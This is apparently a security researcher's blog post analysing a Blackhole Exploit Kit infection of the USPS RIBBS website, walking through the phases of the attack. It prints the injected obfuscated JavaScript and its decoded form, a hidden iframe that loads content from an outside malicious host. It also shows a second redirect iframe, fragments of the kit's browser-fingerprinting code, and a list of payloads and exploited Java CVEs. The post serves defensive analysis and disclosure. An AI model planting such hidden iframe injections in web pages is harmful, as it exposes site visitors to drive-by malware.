A United States Postal Service website (http://ribbs.usps.gov) has been infected with the Blackhole Exploit kit. As we've discussed previously, the Blackhole Exploit kit, a commercial exploit kit developed by Russian hackers, is being seen in an increasing number of attacks. Last week, we reported on how it had been used to infect Worldfest, a Houston, Texas music festival and this week, it has penetrated the website of an independent US government agency, namely that of the postal service. RIBBS stands for Rapid Information Bulletin Board System and deals with Intelligent Mail services, such as barcodes that allow for better tracking and logistics. As with similar infections, the attack follows numerous phases, each being hosted on a separate domain, with each leveraging various obfuscation techniques to hide the attack. Here we will walk through the various phases to detail the attack.
Phase One: Initial Infection
On April, 6th, our attention was drawn to alerts indicating that Zscaler was blocking access to http://ribbs.usps.gov due to the presence of the following encoded Javascript:
<script>
document.write(eval(String.fromCharCode(100,111,99,118,109,101,110,116,46,119,114,105,116,101,40,39,60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,112,114,105,99,104,101,115,111,110,46,104,100,100,49,46,114,117,47,108,111,108,46,112,104,112,34,32,104,101,105,103,104,116,61,34,49,34,32,119,105,100,116,104,61,34,49,34,32,115,116,121,108,101,61,34,100,105,115,112,108,97,121,58,110,111,110,101,34,62,60,47,105,102,114,97,109,101,62,39,41,59)));
</script>
This content uses a simple encoding technique, whereby each letter is encoded as it's ASCII equivalent. When decoded, we see the following iframe:
document.write('<iframe src="http://pricheson.hdd1.ru/lol.php" height="1" width="1" style="display:none"></iframe>');
Phase Two: Redirection
The page used in the aforementioned iframe has since been taken offline, presumably by the domain administrator, suggesting that the attackers were simply using an otherwise legitimate site for this stage of the attack. The page was however accessible when the attack was first discovered and contained only the following unencoded iframe:
<script>document.write('<iframe src="http://oldschool.vv.cc/access7/forum.php?tp=10169-1" height="1" width="1" style="display:none"></iframe>');</script>
Phase Three: Attack
It is on this final page, where the attack ultimately takes place. This domain has been known to host other attacks. At the time the attack was first detected, this domain had not been blocked by any of the major malicious URL services, but as of today, the majority are now blocking the domain.
This page has been disguised to look like a standard 404 Page Not Found error message, but when viewing the source code, in reality, it is delivering a massive bundle of obfuscated Javascript. When decoded, we see a rather complex logic flow attempting to discern the operating system, web browser type and the existence/absence of components such as Java and ActiveX, in order to determine the appropriate attack payloads to deploy.
Operating System Identification
var c=this,a=navigator,e="/",i=a.userAgent||"",g=a.vendor||"",b=a.platform||"",h=a.product||"";
c.OS=100;
if(b)
{
var f,d=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\\s*PC",22.3,"",100];
for(f=d.length-2;
Browser Identification
c.isGecko=(/Gecko/i).test(h)&&(/Gecko\s*\/\s*\d/i).test(i);
c.verGecko=c.isGecko?c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i)?RegExp.$1:"0.9"):null;
c.isSafari=(/Safari\s*\/\s*\d/i).test(i)&&(/Apple/i).test(g);
c.isChrome=(/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);
c.verChrome=c.isChrome?c.formatNum(RegExp.$1):null;
c.isOpera=(/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
c.verOpera=c.isOpera&&((/Version\s*\/\s*(\d+\.?\d*)/i).test(i)||1)?parseFloat(RegExp.$1,10):null;
c.addWinEvent("load",c.handler(c.runWLfuncs,c))
Malicious Payloads
- calc.exe - detection rate: (5/41 AV vendors)
- info.exe - detection rate: (4/42 AV vendors)
- mario.jar - detection rate: (4/41 AV vendors)
- eedad.pdf - detection rate: (1/41 AV vendors)
- 298dd.pdf - detection rate: (5/42 AV vendors)
- 27537.pdf - detection rate: (5/41 AV vendors)
- 57496.pdf - detection rate: (1/42 AV vendors)
- javatrust.php - detection rate: (0/42 AV vendors)
- CVE-2010-4452 - Sun Java Applet2ClassLoader Remote Code Execution Exploit (Metasploit)
- java_skyline.php - detection rate: (2/41 AV vendors)
- CVE-2010-3552 - Sun Java Runtime New Plugin docbase Buffer Overflow (Metasploit)
Status
Yet again, we have a legitimate website with a significant user base being used as a catalyst for attack. Combine that with an abysmal detection rate on the malicious payloads by desktop AV, the first and often only line of client side defense for many enterprises, and we have a potent attack that has no doubt affected many end users.
USPS officials have been informed of the infection and have acknowledged the issue. The injected code remains on the ribbs.usps.gov site as at the time of this posting but the attack has been neutered as the website used in step two of the attack has been taken offline.
At least snail mail is still safe...
- michael
